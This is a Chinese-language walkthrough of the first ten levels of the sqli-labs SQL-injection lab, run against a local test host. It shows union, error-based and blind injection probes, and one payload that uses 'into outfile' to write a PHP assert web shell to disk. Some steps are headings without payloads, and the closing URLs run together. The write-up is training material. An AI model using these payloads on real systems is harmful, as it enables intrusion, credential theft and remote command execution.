这10关都是GET型的,包括了union注入、报错注入、布尔盲注和时间盲注,虽然包含了几种闭合方式,但是没有涉及到过滤和绕过,是最基础的关卡。
1、原来每关源代码同目录的result.txt中都会记录每次输入的payload
2、闯关的时候发现一个神奇的情况,如果字段本身是int类型,并且在查询语句中该字段的值被双引号或者单引号包裹,则只要值是以正确数字开头的,后面接多余的字符还是可以返回正确的查询结果,甚至单引号中可以包含双引号,双引号中可以包含单引号。如下图所示:
首先输入正确的url:http://192.168.10.133/sqli/Less-1/?id=1
可以看见正常回显用户名和用户密码
接着输入:http://192.168.10.133/sqli/Less-1/?id=1‘
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道需要闭合什么符号,比如这关是闭合单引号
这关使用union注入,在后面加上?id=1’ order by 3— s 和?id=1’ order by 4— s
判断字段回显
判断确定当前数据库
爆出当前数据库内的所有表名
爆出当前数据库user表的所有列名
爆出当前数据库user表所有username和password
爆出当前数据库user表所有username和password
http://192.168.10.133/sqli/Less-1/?id=-1' union select 1,2,'<?php assert($_POST[cmd]);?>' into outfile 'C:/101.php'-- s #写入shellhttp://192.168.10.133/sqli/Less-1/?id=1' order by 3-- shttp://192.168.10.133/sqli/Less-1/?id=1' order by 4-- s#确定哪个字段有回显http://192.168.10.133/sqli/Less-1/?id=-1' union select 1,2,3-- shttp://192.168.10.133/sqli/Less-1/http://192.168.10.133/sqli/Less-1/
